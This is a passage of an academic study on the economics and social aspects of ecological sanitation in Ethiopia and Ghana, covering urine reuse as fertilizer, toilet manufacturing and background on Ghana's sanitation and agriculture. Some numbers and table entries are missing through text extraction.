18 xii Table 3.26: Net Present Value, Internal Rate of Return and Payback Period for Scenario 1 and Scenario Table 3.27: Break-even analysis for Scenario Table 3.28: Break-even analysis for Scenario Table 3.29: Profit and loss statement for Scenario Table 3.30: Profit and loss statement for Scenario Table 3.31: Cash flow statement for Scenario Table 3.32: Cash flow statement for Scenario Table 3.33: Year-end balance sheet for Scenario Table 3.34: Year-end balance sheet for Scenario Table 3.35: Return on investment for Scenario 1 and Scenario Table 3.36: Gross profit margin for Scenario 1 and Scenario Table 3.37: Net profit margin for Scenario 1 and Scenario Table 3.38: Summary of the results of the sensitivity analysis for Scenario Table 3.39: Summary of the results of the sensitivity analysis for Scenario Table 4.1: World market prices of fertilizer raw materials Table 4.2: Cost per unit of nutrient in N price equivalent in Ghana Table 4.3: Average nutrient costs on the Ghanaian market Table 4.4: Nutrient content in urine and feces in Ghana (Cofie and Mainoo, 2007; Germer and Sauerborn, 2008) Table 4.5: Market value of nutrients contained in urine in Ghana Table 4.6: Relationship between storage conditions, pathogen content a of the urine mixture b and recommended crop for larger systems c (WHO, 2006) Table 4.7: Cost of urine storage Table 4.8: Costs and variables for transportation of urine Table 4.9: Fertilization needs of one oil palm tree Table 4.10: Table 4.11: Amount of nutrients required to meet fertilization needs of one oil palm tree Amount of urine required to meet nutritional requirements of one oil palm tree Table 4.12: Biodiesel production costs Table 4.13: Optimal climatic and soil conditions for a selection of fast growing tree species (FAO, 2011b) Table 4.14: Fuel wood characteristics of L. leucocephala, G. sepium and C. siamea (adapted from Mainoo and Ulzen-Appiah, 1996) Table 4.15: Ranking of selected tree species for fuel wood production
19 xiii Table 4.16: Project boundaries for Accra 1, Accra 2 and Kade Table 4.17: Table 4.18: Table 4.19: Type of toilet facility used by households in Accra (GAMA) and other urban areas of Ghana (Ghana Statistical Service, 2008b) Investment, operational costs and revenues of the project Accra Cash flow statement for the project Accra 1 using current prices and nominal interest rate (inflation included) Table 4.20: Current and switching value for selected variables for Accra Table 4.21: Table 4.22: Table 4.23: Table 4.24: Table 4.25: Sensitivity analysis of variables of transportation costs for Accra Effects on the IRR and the NPV of changing cash flow items for Accra Facts about fertilizing maize plants with urine in the Ga District, Ghana Investment, operational costs and revenues of the project Accra Cash flow statement for the project Accra 2 using current prices and nominal interest rate (inflation included) Table 4.26: Current and switching value for selected variables for Accra Table 4.27: Table 4.28: Sensitivity analysis of variables of transportation costs for Accra Effects on the IRR and the NPV of changing cash flow items for Accra Table 4.29: Investment, operational costs and revenues of the project Kade Table 4.30: Table 4.31: Variables for the calculation of investment, operational costs and revenues for Kade Cash flow statement for the project Kade using current prices and nominal interest rate (inflation included) Table 4.32: Current and switching value for selected variables for Kade Table 4.33: Sensitivity analysis of variables of transportation costs for Kade Table 4.34: Effects on the IRR and the NPV of changing cash flow items for Kade Table 4.35: Comparison of projects Accra 1, Accra 2 and Kade Table 4.36: Table 4.37: Table 4.38: Summary of the sensitivity analysis of variables of transportation costs for all projects Fertilization needs a that can be met by using urine with projects Accra 1, Accra 2 and Kade Average energy savings through application of urine in projects Accra 1, Accra 2 and Kade
20 xiv Table 4.39: Table 5.1: Table 5.2: Table 5.3: Table 5.4: Table 5.5: Opportunities for urine collection in Accra and the Kwaebibirem District Examples of NGOs working in the water and sanitation field in Ethiopia Key motivating factors for sanitation adoption in Ghana and the respective ecosan performance Constraining factors for sanitation adoption in Ghana and possible solutions Examples of NGOs that work in the water and sanitation field in Ghana Sanitation promotion campaign for Arba Minch (adapted from Blume, 2009)
21 xv Abbreviations and symbols AMA ARM ARS AS BOP BOPP CBD CBO CLARA CLTS cm CM Accra Metropolitan Area Association of Rotational Molders Agricultural Research Station of the University in Ghana Ammonium Sulfate Bottom of the Pyramid (also Base of the Pyramid) Benso Oil Palm Plantation Central Business District Community-Based Organization Capacity-Linked water and sanitation for Africa's peri-urban and Rural Areas Community-Led Total Sanitation centimeter Contribution Margin CNY ( ) Chinese Yuan Renminbi (average exchange rate: OANDA, 2012) (January 2012: 1 CNY = 2.71 ETB = 0.12 EUR = 0.10 GBP = 0.26 GHS = KES = 0.16 USD) CONIWAS CRS CSA CWSA DALYs DANIDA DAP DMT DNCF ecosan EFB EHSD ESE ESP Coalition of NGOs in Water and Sanitation Catholic Relief Services Central Statistical Agency of Ethiopia Community Water and Sanitation Agency Disability Adjusted Life Years Danish International Development Assistance Diammonium Phosphate Dignified Mobile Toilets Discounted Net Cash Flow ecological sanitation Empty Fruit Bunch Environmental Health and Sanitation Directorate Ecological Sanitation Ethiopia Environmental Sanitation Policy ETB Ethiopian Birr (average exchange rate: OANDA, 2012) (January 2012: 1 ETB = CNY = EUR = GBP = GHS = KES = USD)
22 xvi EUR ( ) Euro (average exchange rate: OANDA, 2012) (January 2012: 1 EUR = 8.1 CNY = 22.1 ETB = 0.8 GBP = 2.2 GHS = KES = 1.3 USD) FAO FC FFB FVI GAMA Food and Agriculture Organization of the United Nations Fecal Coliform Fresh Fruit Bunch Fuelwood Value Index Greater Accra Metropolitan Area GBP ( ) British Pound (average exchange rate: OANDA, 2012) (January 2012: 1 GBP = 9.8 CNY = 1.2 EUR = 26.5 ETB = 2.6 GHS = KES = 1.6 USD) GDP Gross Domestic Product GHS (Gh ) Ghanaian New Cedi (average exchange rate: OANDA, 2012) (January 2012: 1 GHS = 3.7 CNY = 0.5 EUR = 10.0 ETB = 0.4 GBP = 49.9 KES = 0.6 USD) GIZ GOPDC GPM GPRS GWCL GWSC HDI HDPE ICMSF IFAD IRR JMP Deutsche Gesellschaft für Technische Zusammenarbeit (formerly GTZ) Ghana Oil Palm Plantation Development Company Gross Profit Margin Growth and Poverty Reduction Strategy Ghana Water Company Limited Ghana Water and Sewerage Corporation Human Development Index High-Density Polyethylene International Commission on Microbiological Specifications for Foods International Fund for Agricultural Development Internal Rate of Return Joint Monitoring Program KES Kenyan Shilling (average exchange rate: OANDA, 2012) (January 2012: 1 KES = CNY = EUR = ETB = GBP = GHS = USD) kg km KVIP kwh LLDPE kilogram kilometer Kumasi Ventilated Improved Pit latrine kilowatt-hours Linear Low-Density Polyethylene
23 LPG m MAP MDG MFI MOP MoWR MPa MSF Mt MWRWH N n.a. NGO NO x NPM NPV OECD OFY OMFI p.a. PCR Liquid Petroleum Gas meter Magnesium Ammonium Phosphate Millennium Development Goal Microfinance Institution Muriate of Potash Ministry of Water Resources Megapascal Multi-Stakeholder Forum metric ton Ministry of Water Resources, Works and Housing nitrogen not available; not applicable Non-Governmental Organization Nitrogen Oxides Net Profit Margin Net Present Value Organization for Economic Co-operation and Development Operation Feed Yourself Omo Micro Finance Institution per annum Post-Consumer Resin P&L statement Profit and Loss statement PPP PASDEP PBP PRSP RCA ROI ROSA sani-mart SME SNNP SPA SSP Public-Private Partnership Plan for Accelerated and Sustained Development to End Poverty Payback Period Poverty Reduction Strategy Paper Replacement Cost Approach Return on Investment Resource-Oriented Sanitation concepts for peri-urban areas in Africa sanitation market Small and Medium Enterprise Southern Nations, Nationalities and People s (Region) Sanitation in Peri-urban areas in Africa Single Super Phosphate xvii
24 xviii SSPSS SUDEA t TMA TSP UDT UDDT UN UNEP UNICEF UPA Small-Scale Private Sanitation Sector Society for Urban Development in East Africa ton Tema Municipal Area Triple Super Phosphate Urine Diverting Toilet Urine Diverting Dry Toilet United Nations United Nations Environment Program United Nations Children's Fund Urban and Peri-urban Agriculture USD (US$) U.S. Dollar (average exchange rate: OANDA, 2012) (January 2012: 1 USD = 6.3 CNY = 0.8 EUR = 17.1 ETB = 1.7 GHS = 85.1 KES) VIP latrine VVU WACM WASH WHO WSP WSSCC Ventilated Improved Pit latrine Valley View University Weighted Average Contribution Margin Water, Sanitation and Hygiene World Health Organization Water and Sanitation Program Water Supply and Sanitation Collaborative Council
25 1 1 INTRODUCTION The conventional approach to sanitation is based on systems that collect and store human excreta, so-called drop and store systems, or collect and transport excreta away from households, so-called flush and discharge systems (WHO and UNICEF, 2008). However, this conventional sanitation approach is not always applicable, particularly in developing countries. One important reason for this is the lack of necessary infrastructure for wastewater containment, treatment and safe disposal. Also, many developing countries suffer from water scarcity and flush and discharge systems use large amounts of water as a carrier for transportation of human excreta. Besides, the conventional approach does not include reuse of water. Furthermore, essential elements including nutrients and trace elements flow linearly from agriculture, through humans to receiving water bodies, resulting in their eutrophication and loss of soil fertility. The conventional approach is not the only solution to sanitation (Otterpohl et al., 1997). With the growing need to save water and recycle nutrients, an alternative approach to sanitation has gained importance. This alternative approach to sanitation is commonly referred to as ecological sanitation (ecosan) or sustainable sanitation. By definition, a sustainable sanitation system needs to be economically viable, socially acceptable, and technically and institutionally appropriate, it should also protect the environment and the natural resources (SuSanA, 2008, p.1). Ecosan encompasses a holistic sanitary concept and provides a lot of advantages over conventional sanitation. This alternative to conventional sanitation approach allows for the incorporation of the agricultural system into the sanitation system with almost full nutrient and water recovery (Otterpohl et al., 2004; Bahri, 2007). Human excreta is treated as a resource and the nutrients contained in excreta are recycled back into agriculture, after being treated when necessary (Winblad and Simpson- Hébert, 2004). Therefore, the implementation of ecosan contributes to the conservation of resources, preservation of soil fertility, long term food security and healthier environment (Panesar A.R. and Werner C., 2006). Ecosan does not offer one particular technical solution. Instead, it recommends sanitary systems to fit the needs of social, economic and environmental sustainability in a given context (Panesar A.R. and Werner C., 2006). A variety of available technologies makes ecosan a very attractive solution, especially in the developing world, where the conventional approach to sanitation has often failed. Technologies under the ecosan approach range from simple low-tech (e.g., urine diverting dry toilets, composting toilets) to sophisticated high-tech solutions (e.g., vacuum toilets, membrane technology), with new approaches still evolving (e.g., Terra Preta Sanitation a combination of sanitation, bio-waste management and agriculture) (Factura et al., 2010; Otterpohl R., 2011). Sanitation is not only a basic need. It is also a human right as declared by the United Nations General Assembly in 2010 (UN, 2010a). In order to improve the situation of low access to sanitation facilities, sanitation needs to be made affordable to the population in low-income countries, where the coverage levels are still the lowest in the world (WHO and UNICEF, 2010). Nevertheless, many governments, in particular in developing countries, are facing a financial gap hindering the provision of basic services such as sanitation. Therefore, the private sector is becoming more and more involved in these services.
26 2 This research is aimed at showing possible benefits of considering sanitation as a business. Therefore, the potential of the private sector involvement in sanitation is explored throughout the process chain: toilet manufacturing, urine collection, transportation, storage, marketing and application in agriculture. As many advantages as the ecosan approach brings along, it might also be faced with a number of challenges. Firstly, the cost and management of collection, transportation, storage and marketing of ecosan products can pose a challenge. In ecosan urine-separating systems, it is necessary to collect as well as treat urine and feces separately. Thus, an ecosan system requires appropriate logistics that allow for safe utilization of nutrients recycled from human excreta to agriculture. Furthermore, urine has a considerably low fertilizing value to volume ratio, which makes transportation costly. Marketing of excreta based fertilizers requires placing a value on nutrients contained in urine and feces, which depends on both global and local conditions, including mineral fertilizer prices, the nutrient content of urine and the local agricultural situation (e.g., the abundance of farmland, soil fertility, etc.). Also, the acceptance of using excreta based fertilizers in agriculture might become a challenge. In some cultures it may not create any reservations, whereas in others, farmers, marketers and/or consumers may object to the application of human excreta in agriculture. It is, therefore, important to study the local attitude towards this issue. Depending on the local situation, it might be, for example, advisable to apply excreta based fertilizers on non-food crops instead of food crops in order to prevent social rejection. All the above mentioned challenges of ecosan systems are put under close consideration in this study. 1.1 Objectives of the study The main focus of this study is to analyze economic, social and technical aspects of low-tech sustainable sanitation. The emphasis of the study is put on the economic aspects due to the fact that decision making mechanisms are very often based on a cost-benefit analysis. Furthermore, showing the financial benefits of the ecosan approach should attract the private sector s attention. As a result, innovative products and suitable value and service chains can be created, which are crucial for a successful ecosan system. Thus, the economic feasibility of manufacturing toilets under the ecosan principle and of running ecosan systems, including toilet building, urine collection, transportation, storage and agricultural application is performed. Technical aspects of sustainable sanitation are also an important part of this study due to the different options available and their appropriateness for a particular country, urban or rural setting and maintenance requirements. This study focuses on low-tech sustainable sanitation options due to their suitability for developing countries, in particular because of their lower cost, easiness of maintenance, spare parts availability and lower infrastructure demands. Social aspects are also a part of this study due to the dependency between the acceptance and adoption of ecosan and social features such as religion and culture. Therefore, the study takes into account different facets of sanitation promotion in order to design a successful campaign to raise awareness and create demand for ecosan.
27 3 This research analyzed ecosan from a holistic system s perspective. Therefore, a business idea revolving around the production of toilets slabs suitable to be used under the ecosan approach was drafted. A thorough analysis of different parameters, including technical aspects (e.g., manufacturing process, raw material choice, coloration methods, production volumes, product features), logistics aspects (e.g., plant location and size, headcount planning, procurement of supplies), financial aspects (e.g., cost minimization options, sales planning, demand estimation) and aspects related to competition (e.g., current players on the market, current toilet prices, potential substitute products) was performed. Furthermore, an economic analysis of building or modifying toilets for separate collection of urine and feces, transportation of urine to its storage locations, urine storage and selling it to farmers to be applied as liquid fertilizer in agriculture was performed. For this analysis, the local sanitary situation and agricultural practices were taken into account. In this way, the whole process chain was analyzed, including toilet manufacturing, toilet building, management of ecosan products and marketing of urine for its application in agriculture. The results of this study are expected to contribute to increased knowledge on the suitability of sustainable sanitation. By showing the economic benefits that it brings along, the interest of the private sector to become more involved in ecosan should be awaken, ideally leading to product innovation and successful business models that would benefit not only the private sector but also the users. Two case studies were analyzed, one from Ethiopia and the other one from Ghana. Ethiopia was chosen as a representative of an East African country, whereas Ghana as an example of a West African country. Despite their different geographical location, these two countries have a lot in common, including the importance of agriculture to the country s economy, urban and peri-urban agriculture practices, wastewater irrigation practices, households being expected to meet the cost of sanitation hardware, lack of sufficient promotion, marketing and innovative microfinance arrangements for sanitation and decentralization of responsibilities in the water and sanitation public sector, to name just a few. However, it is also important to mention that Ethiopia and Ghana differ in some aspects, including, for example, country size, economic growth, education level, food security level, poverty level, sanitation coverage rates, slum population level, the size of urban population and available infrastructure. In the case study Ethiopia, a business plan was created for an imaginary company to manufacture low-tech toilets that can be applied under the ecosan principle. This case study analyzes different manufacturing processes, machinery, raw material options and production volumes as well as cost minimization methods in order to define the best project framework under the local conditions. In this case study, toilet slabs are seen as a product that needs to be marketed. Thus, all the crucial marketrelated aspects are considered, including procurement and logistics, potential competitors and substitute products, product pricing, production and sales planning, operational costs, demand for products as well as investment requirements, project financing and returns. In the case study Ghana, the idea of a supply chain is explored. It is based on a separate collection of urine from waterless urinals and urine diverting dry toilets, transportation of urine to storage locations, storage of urine and application of urine as liquid fertilizer on non-food and food crops. In order to market urine, its monetary
28 4 value is calculated, taking into account its nutrient content as well as current world and local market fertilizer prices. The case study also analyzes the options for lowering or covering urine transportation costs together with reducing storage time and costs of urine. The study was developed around a number of research questions with focus on African conditions, which mainly include the following: What factors determine the profitability of ecosan? Toilet manufacturing costs Demand for toilets Toilet building costs Urine transportation costs Urine storage costs Urine selling price Demand for urine as fertilizer What are the possibilities of cost decrease for ecosan? Can urine be marketed in order to finance a sustainable sanitation system? How can one make storage and transportation of urine economically feasible? How much fertilizer can be offset when applying urine as liquid fertilizer? How to create demand for ecosan? What are the success factors for an effective ecosan promotion campaign? 1.2 Outline of the report Chapter 2 presents background information on the private sector involvement in sanitation, highlighting its potential and limitations in the context of Ghana and Ethiopia. Case study Ethiopia, which refers to the business idea of manufacturing low-tech plastic toilet slabs to be used under the ecosan approach, is presented in Chapter 3. Two scenarios were considered, depending on the production volumes that want to be achieved and the investment that needs to be made. Chapter 4 presents the case study Ghana, with a supply chain for an ecosan system, including modification or building of sanitation facilities for separate urine and feces collection, collection, transportation, storage and agricultural application of urine. Chapter 4 studies three systems designed to interact with each other in two locations the capital city of Ghana, Accra and a semi-urban settlement in the Eastern Region of Ghana, Kade. Sanitation promotion is the topic of Chapter 5, where the social aspects of designing a promotion campaign are described, with emphasis on Ghana and Ethiopia. Thus, sanitation culture, access and popularity of different media as well as potential campaign partners are presented. Conclusions of the study and recommendations for the future are summarized in Chapter 6.
29 5 2 INTRODUCTION TO PRIVATE SECTOR INVOLVEMENT IN SANITATION This chapter discusses the potential and limitations for the private sector involvement in the sanitation sector. First, background information on Ghana and Ethiopia is presented, with emphasis on the agricultural situation to show the importance of nutrients reuse and the suitability of ecological sanitation (ecosan) in this context. Then, the global challenges of urbanization, growing food demand and depleting phosphorous resources are introduced. Next, the global sanitation challenge and benefits of access to improved sanitation facilities are described. Further, the enabling environment for private sector involvement in sanitation, existing challenges and potential solutions are discussed. 2.1 Ghana This section presents background information about Ghana General information Ghana is an English-speaking country located in West Africa with an estimated population of 24.4 million, of which over a half is urban (see Table 2.1) (World Bank, 2011a). The country has an area of 238,533 km 2 (Ghana Statistical Service, 2008a) and is divided into ten regions, i.e. Upper West, Upper East, Northern, Brong-Ahafo, Ashanti, Western, Central, Eastern, Greater Accra and Volta. Accra is the capital city of Ghana and is located in the Greater Accra Region. Background information about the country is summarized in Table 2.1. Table 2.1: Summary of background information about Ghana (UN, 2011a; UNDP, 2011a; World Bank, 2011a) Indicator Year Score Population (million) Population growth (annual %) Urban population (% of total) Urban population growth (annual %) Slum population as percentage of urban (%) GDP (current, billion US$) GDP growth (annual %) GDP per capita (current, US$) ,283
30 Percentage of population 6 In Ghana, the Gross Domestic Product (GDP) per capita is close to the GDP value for sub-saharan Africa as a region (USD 1,302) (World Bank, 2011a). Ghana with a 2011 Human Development Index (HDI) of was ranked 135 out of 187 countries with comparable data (UNDP, 2011a). The HDI 2011 of sub-saharan Africa as a region was 0.463, placing Ghana above the regional average (UNDP, 2011a). Despite the positive developments, the country is still struggling with area-based differences, for example, poverty is ten times higher in Greater Accra than in Northern Ghana (UNDP, 2011b) Sanitation coverage Ghana s target to meet the Millennium Development Goal (MDG) for improved sanitation 1 is set at 54 % (base year: 1990) (Sanitation and Water for All, 2011b). The percentage of total population using improved sanitation facilities in Ghana grew from 7 % in 1990 and 9 % in 2000 to 13 % in 2008 (see Figure 2.1). Even so, in order to meet the MDG sanitation target, the improved sanitation coverage needs to increase about four times, i.e. over 1.6 million people need to get access to improved sanitation facilities annually ( ) (Sanitation and Water for All, 2011b). Open defecation is still practiced by 20 % of the Ghanaian population. Shared sanitation facilities have become widely used in Ghana, especially in urban areas, where 70 % of the population used this kind of facilities in 2008 (see Figure 2.1). However, the WHO/UNICEF Joint Monitoring Program (JMP) does not classify shared sanitation facilities as improved. A considerable disparity between urban and rural sanitation coverage in Ghana can also be seen in Figure % 90% 80% 70% 60% 50% 40% 30% 20% 10% 0% urban rural total Improved Shared Unimproved Open defecation Figure 2.1: Urban, rural and total sanitation coverage in 1990, 2000 and 2008 in Ghana (based on WHO and UNICEF, 2010) 1 According to the WHO/UNICEF Joint Monitoring Program (JMP), improved sanitation facilities ensure hygienic separation of human excreta from human contact. They include the use of the following facilities: flush/pour flush to piped sewer system, septic tank, pit latrine; ventilated improved pit latrine; pit latrine with slab; composting toilet (WHO and UNICEF, 2010).
31 Agriculture Agricultural land area in Ghana comprises 57 % of the total land area (Ministry of Food and Agriculture, 2011). In 2010, almost 58 % of the agricultural land was under cultivation (Ministry of Food and Agriculture, 2011). The agricultural sector provides employment to 56 % of the Ghanaian population (CIA, 2005) and is responsible for over 73 % of the country s total exports (WTO, 2011). In 2010, the share of agriculture in the GDP was 30 % (World Bank, 2011a). This clearly demonstrates the importance of agriculture to Ghana s economy. There are five main agro-ecological zones in Ghana and they are defined on the basis of climate, reflected by the natural vegetation and influenced by the soils (FAO, 2005a). The mean annual rainfall in these zones varies from 800 mm (Coastal Savannah) to 2,500 mm (Rain Forest) (FAO, 2005a). The production of industrial crops (cocoa, coffee, rubber, shea nut and oil palm fresh fruit bunches) in Ghana amounted to over 2.9 million metric tons in 2010 (Ministry of Food and Agriculture, 2011). In 2010, 1,600,000 ha of land in Ghana was cultivated with cocoa and around 360,000 ha with oil palm (Ministry of Food and Agriculture, 2011). The most cultivated food crops in 2010 in Ghana (in descending order) included: cassava, yam, plantain, maize, cocoyam, rice (paddy), sorghum and millet (Ministry of Food and Agriculture, 2011). Approximately 90 % of the farms in Ghana are smallholder farms of less than 2 ha in size (GNIB, 2008). Large-scale farms in Ghana are mainly for rubber, oil palm and coconut as well as for rice, maize and pineapples (Ministry of Food and Agriculture, 2010) Fertilizer use In general, Ghanaian soils have very low levels of organic carbon, nitrogen and available phosphorous (FAO, 2005a). Potassium is abundant in most soils in Ghana, whereas the levels of available calcium may vary between mg/kg soil, depending on the region (FAO, 2005a; Ministry of Food and Agriculture, 2011). Soils with the highest nitrogen content can be found in the Ashanti Region, whereas soils with the highest phosphorous (P) content can be mainly found in the Greater Accra, Brong Ahafo, Upper East and Northern Regions (Ministry of Food and Agriculture, 2011). A large discrepancy can also be observed in the nutrient content of soils within one region, for example, soils in Greater Accra contain between mg P/kg of soil (Ministry of Food and Agriculture, 2011). Henao and Baanante (2006) reported the average levels of nutrient losses (nitrogen, phosphorus, potassium) in Ghana to be 58 kg per ha and year, which places Ghana in the medium nutrient depletion level group (30-60 kg/ha*year), but not far from the African countries with the highest depletion rates (60-90 kg/ha*year). Moreover, human induced soil degradation 2 affects approximately 11 % of the land in Ghana (FAO, 2005b). 2 Soil degradation assessments by country based on the Global Assessment of Soil Degradation survey carried out during the 1980's by UNEP and International Soil Reference and Information Centre.
32 Fertilizer imports 8 According to Lesschen et al. (2004), almost all crop balances in Ghana show a nutrient deficit 3. Nutrient deficit represents a loss of potential yield and progressive soil deterioration (FAO, 2005a). Some crops in Ghana have almost neutral nutrient balances (e.g., fallow and groundnuts), whereas others have strongly negative balances (e.g., coconut and cassava) (Lesschen et al., 2004). All fertilizers used in Ghana are imported and the major importers are private companies (FAO, 2005a). Fertilizer use in Ghana is primarily on cash crops (FAO, 2005a). Thus, major users of fertilizers include the oil palm sector, the tobacco sector, the cotton sector and large rice irrigation projects (FAO, 2005a). In the last years ( ), the consumption of fertilizer in Ghana varied between 3.7 kg/ha of arable land in 2002, through 20.1 kg/ha in 2006 to 6.4 kg/ha in 2008 (World Bank, 2011a). Users receive fertilizers either directly from importers or through wholesalers located in the main cities in Ghana, who supply fertilizers through a network of rural shops located in the districts (FAO, 2005a). Fertilizer dealers in all regions have to travel considerable distances to access their suppliers: in the Eastern Region, the average distance to the closest supplier is about 80 km, whereas in the Greater Accra Region it is 34 km (Krausova and Banful, 2010). As it can be seen in Figure 2.2, fertilizers imported to Ghana in the years included 4 : NPK, potassium and calcium nitrate, others, single super phosphate (SSP) and triple super phosphate (TSP), potassium sulfate, ammonium sulfate (AS), urea, cocoa fertilizer and muriate of potash (MOP) (Ministry of Food and Agriculture, 2010). [in t] Figure 2.2: NPK Potassium & Calcium Nitrate Others SSP & TSP Potassium Sulfate AS Urea Cocoa Fertilizer MOP Year Fertilizer imports in Ghana, (in tons) (based on Ministry of Food and Agriculture, 2010) 3 Nutrient deficit translates to the difference between the quantities of plant nutrients applied and the quantities removed or lost. 4 Fertilizers imported to Ghana are listed in a descending order, taking into account the cumulative tonnage for the years
33 9 With declining soil fertility and crop yields, input subsidies are needed to restore growth in agricultural productivity. Therefore, in 2008 and 2009, the Government of Ghana instituted USD 15 million worth of subsidies on NPK 15:15:15, NPK 23:10:05, AS and urea nationwide due to increasing fertilizer prices (Banful, 2009). The subsidy was received in the form of vouchers distributed to farmers. As part of the subsidy program, the government and the private importers negotiated a price per 50- kilogram bag in each capital of a district (Krausova and Banful, 2010). The main findings regarding the subsidy program by Krausova and Banful (2010) can be summarized as follows: Only 40 % of the fertilizer retailers were able to participate in the 2008 voucher program. The voucher program required retailers to pass the vouchers received from farmers to one of three major fertilizer importers for reimbursement, based on the assumption that a good proportion of fertilizer retailers had relationships with fertilizer importers. In 2009, only 11 % of the fertilizer retailers had direct links to fertilizer importers from whom they could redeem the vouchers, and it is likely that a similar percentage had direct links in In 2008, 87 % of the fertilizer retailers who did not accept vouchers said it was because they had no way of redeeming them. To conclude, up to 60 % of the fertilizer retailers were unable to participate in the 2008 and 2009 fertilizer subsidies programs, which can be mainly attributed to the fact that it was not taken into account that only a small proportion of fertilizer retailers had relationships with fertilizer importers (Krausova and Banful, 2010) Urban and peri-urban agriculture 5 Urban farming in Accra became particularly popular in the years as a result of the government s Operation Feed Yourself (OFY) program (Appeaning, 2010). The OFY program encouraged urban farming as a response to poor economic conditions and a resulting food scarcity. The importance of urban farming in Ghana is mirrored in the fact that 90 % of the lettuce and spring onions consumed in Kumasi and Accra are grown in and around urban areas (Cofie et al., 2004). Cofie and Mainoo (2007) reported that the use of imported mineral fertilizers is beyond the economic means of poor urban farmers, which results in cropping without addition of adequate external nutrients. Animal manure (e.g., cow dung, poultry manure 6 ) has been promoted by local and foreign partners but its availability in urban areas is scarce (Tettey-Lowor, 2008). Nevertheless, in particular due to its low cost, poultry manure is preferably used by urban farmers, e.g., in Accra and Kumasi (Amoah et al., 2007; Tettey-Lowor, 2008). Cofie et al. (2011) reported that in Accra, 5 The definition of urban agriculture (UA) is as follows: "UA is an industry located within (intra-urban) or on the fringe (peri-urban) of a town, a city or a metropolis, which grows or raises, processes and distributes a diversity of food and non-food products, (re-) using largely human and material resources, products and services found in and around that urban area, and in turn supplying human and material resources, products and services largely to that urban area" (Mougeot, 2000, p.11). 6 Poultry manure has the following average nutrient content (expressed as % by weight): N: 2.87; P 2 O 5 : 2.90; K 2 O: 2.35 (Roy, 2006). It has the highest content of nutrients when compared to cattle and sheep dung (FAO, 2005a; Roy, 2006).
34 10 urban farmers mix poultry manure with chemical fertilizers. With regard to chemical fertilizers, urban farmers in Accra apply mainly NPK 15:15:15, ammonia sulfate, urea and muriate of potash (Cofie et al., 2011). According to a study by Agyarko and Adomako (2007), in vegetable farms in Ghana, organic manures were more frequently applied than inorganic fertilizers. Respondents stated low prices of organic manure as the reason for using them in place of inorganic fertilizers. In urban areas in West Africa, subsistence farming 7 is performed as backyard or front yard farming, whereas in peri-urban areas, in home gardens or around homestead. In West Africa, approximately 20 million urban dwellers practice backyard gardening, mostly for subsistence (Drechsel et al., 2006). In Ghana, subsistence farmers are mainly located in the Northern, Upper East and Upper West Regions (Devereux, 2006). Almost two-thirds of households in the main urban centers of Ghana practice backyard farming (Cofie et al., 2004). Alone in Accra, there are about 80,000 small backyards, covering an area of only ha and engaging 60 % of the households in Accra (Drechsel et al., 2006; Obuobie et al., 2006). Alongside subsistence farming, semi-subsistence farming 8 is also popular in Ghana. According to Mainoo (2007), subsistence farmers in Ghana are more likely to use cheap internal inputs such as organic fertilizers produced locally (e.g., cow dung, poultry manure, organic waste) prior to purchasing expensive external inputs such as mineral fertilizers or organic fertilizers that need to be transported outside of the local region. Subsistence farmers tend to use easily available chemical fertilizers, which often contain banned and illegal substances that are harmful to the farmers, consumers and the environment (African Initiatives, n.d.) Wastewater irrigation Even though wastewater irrigation presents a major health risk, both to users and consumers, it is widely practiced, especially in developing countries. This practice is still expected to increase due to the need to provide food to growing urban population and lack of alternative water sources for this purpose in urban areas in developing and middle-income countries. A study of 53 cities in Africa, Asia and Latin America found out that only 15 % out of the cities surveyed reported to have little or no irrigated urban and peri-urban agriculture (UPA) (Raschid-Sally and Jayakody, 2008). According to Stedman (2008), approximately one tenth of the world s crops are irrigated with wastewater. Raschid-Sally and Jayakody (2008) estimate that 200 million farmers irrigate with wastewater worldwide, farming on at least 20 million ha. In Ghana, UPA develops wherever land is available and every accessible source of water is used for irrigation (Obuobie et al., 2006). In Accra, drains are the main source of irrigation water, which can be anything from raw wastewater to storm water diluted with wastewater (Obuobie et al., 2006). Obuobie et al. (2006) studied fecal coliform (FC) and total coliform levels in the Surbin River in Kumasi, which is used for domestic and irrigation purposes, and reported that they were very high (all above 10 6 /100 ml), even as far as 32 km downstream of the city center. The situation is 7 Subsistence farming is a form of urban and peri-urban farming, in which almost all of the produce is used to sustain the farmer and his family, with little, if any, surplus for sale. 8 Semi-subsistence farming refers to a farm producing mainly for self-consumption, but also selling a certain part (surplus) of the produce.
35 11 similar in other main cities in Ghana, including Accra and Tamale. A microbiological analysis performed at six vegetable gardening sites within the Tamale metropolis in 2000/2001 showed FC levels of irrigation water higher than 2x10 6 /100 ml for all sites (Abdul-Ghaniyu et al., 2002). Wastewater irrigation results in crops being contaminated with pathogens. After testing samples of market vegetables from Accra, Kumasi and Tamale, it was reported that lettuce, cabbage and spring onions irrigated with wastewater carried FC populations ranging between 4.0x10³ to 9.3x10 8 per gram (Amoah, 2008), far exceeding the International Commission on Microbiological Specifications for Foods (ICMSF) recommended level of 10 3 FC per gram fresh weight (ICMSF, 1974 cited in Amoah, 2008) Water and sanitation sector development The water and sanitation sector in Ghana has a well-established institutional set-up with clear lines of responsibility (WSP, 2011b, p.13). Even though the Growth and Poverty Reduction Strategy (GPRS ) has not given sanitation much importance, there has been some recent developments in the sanitation sector in Ghana (refer to Figure 2.3). Water Supply Division set up under the Ministry of Works and Housing (MWRWH) for urban and rural water supplies WHO study into the water sector development in Ghana Water Resources Commission (WRC) for regulation and management of water resources National Community Water and Sanitation Program (NCWSP) endorsed Decentralization of responsibilities for sanitation and small towns water supply from GWSC to the District Assemblies First Mole conference annual multi-stakeholder platform in the WASH sector Revised National Environmental Sanitation Policy approved National Sanitation Task Force 1 st Ghana Water Forum Water Directorate created within the MWRWH Coalition of NGOs in water supply and sanitation (CONIWAS) established 1948 Rural Water Development Department created for rural water supply Public Utilities Ghana Water and Sewerage Corporation (GWSC) established for water supply and sanitation in rural and urban areas 5-Year Rehabilitation and Development Plan prepared and the Water Sector Restructuring Project (WSRP) launched Regulatory Commission (PURC) Community Water and Sanitation Agency (CWSA) for rural water supply, hygiene and sanitation GWSC converted into Ghana Water Company Limited (GWCL) for urban water supply National Water Policy 2010 Environmental Health and Sanitation Department upgraded to a Directorate Water and Sanitation Monitoring Platform (WSMP) Figure 2.3: Important dates in the water and sanitation sector in Ghana (based on MWRWH, 2009 and WSP, 2011b) A number of organizational reforms were initiated in the early 1990s within the Ghanaian water and sanitation sector. In 1993, responsibilities for sanitation and small towns water supply were decentralized from Ghana Water and Sewerage Corporation (GWSC) to the District Assemblies (MWRWH, 2009). In 1998, the
